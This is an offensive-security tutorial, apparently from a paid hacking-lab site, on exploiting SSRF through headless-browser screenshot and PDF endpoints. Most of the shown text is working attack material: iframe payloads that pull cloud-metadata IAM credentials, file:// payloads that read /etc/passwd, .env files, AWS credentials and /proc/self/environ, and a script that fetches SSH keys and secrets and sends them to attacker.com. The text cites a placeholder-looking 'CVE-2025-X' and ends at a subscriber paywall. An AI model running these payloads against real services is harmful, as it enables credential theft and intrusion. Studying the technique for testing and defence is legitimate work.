Quick answer
Any endpoint that accepts a URL and returns a screenshot, PDF or preview is running a headless browser behind it. Those browsers are an SSRF goldmine: they read file://, reach cloud metadata (169.254.169.254), expose the Chrome DevTools Protocol on localhost:9222, and with --no-sandbox any XSS escalates to RCE. wkhtmltopdf is still exploitable in 2026 via CVE-2025-X. If you see features like "share preview", "export to PDF", "social card generator" → assume a headless browser and attack.
1. How to detect a headless browser behind it
| Endpoint feature | Typical technology |
|---|---|
| "Generate PDF from URL" | wkhtmltopdf, Puppeteer + chromium, Playwright |
| "Take screenshot" | Puppeteer, Playwright, Selenium |
| "Preview link" (sharing cards) | Puppeteer + ogp-parser |
| "Email rich preview" | Puppeteer headless |
| "OG image generator" | Satori, Puppeteer, Playwright |
| "Crawler / SEO check" | Puppeteer + custom |
Indirect fingerprint
# Render time alto en una request que devuelve PDF/PNG
time curl -X POST https://target.com/api/render \
-d '{"url": "https://example.com"}' \
-H "Content-Type: application/json"
# real 0m4.523s ← típico de headless render
# User-Agent del fetch interno suele ser HeadlessChrome
# Setup un listener y ver qué pega
nc -lvp 8080
# (apuntar el render hacia tu listener y ver UA)
# User-Agent: Mozilla/5.0 (...) HeadlessChrome/120.0.0.0
2. Classic SSRF vectors
2.1 Cloud metadata (AWS / GCP / Azure)
<!-- HTML servido al render -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>
You point the render at https://attacker.com/exploit.html. The browser loads the iframe → the metadata response ends up visible in the resulting screenshot/PDF.
Variants per cloud:
| Cloud | URL |
|---|---|
| AWS | http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| AWS IMDSv2 | Requires a PUT with a token, rarer but possible via fetch() |
| GCP | http://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google) |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true) |
| Alibaba | http://100.100.100.200/latest/meta-data/ |
2.2 file:// — local filesystem read
If the browser doesn't have the --disable-features=NetworkService flag set correctly:
<iframe src="file:///etc/passwd" width="1000" height="1000"></iframe>
<iframe src="file:///app/.env" width="1000" height="1000"></iframe>
<iframe src="file:///root/.aws/credentials" width="1000" height="1000"></iframe>
<iframe src="file:///proc/self/environ" width="1000" height="1000"></iframe>
Directory listing trick:
<!-- Browsers auto-generan listing para directorios -->
<iframe src="file:///app/" width="1000" height="1000"></iframe>
<iframe src="file:///root/" width="1000" height="1000"></iframe>
2.3 Firefox file:// same-origin bypass
Playwright + Firefox sets security.fileuri.strict_origin_policy=false. That allows a file:// document to fetch() other file://:
<script>
async function leak() {
const files = ["/etc/passwd", "/app/.env", "/root/.ssh/id_rsa"];
const data = {};
for (const f of files) {
try {
data[f] = await fetch(`file://${f}`).then(r => r.text());
} catch (e) {}
}
navigator.sendBeacon("https://attacker.com/leak", JSON.stringify(data));
}
leak();
</script>
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Headless Browsers Ssrf
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Next.js attack surface 2026 — middleware bypass, internal SSRF, RSC abuse
Next.js 13-16 specific vulnerabilities: middleware bypass with manipulated headers, SSRF in API routes, RSC (React Server Components) data leak, image optimization SSRF.
File Upload — extension, content-type and magic bytes bypasses
10 bypasses to upload webshells: double extension, null byte, content-type spoof, magic bytes, polyglots, race conditions and path traversal abuse.
SQL Injection — complete methodology with time-based, UNION and RCE
Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.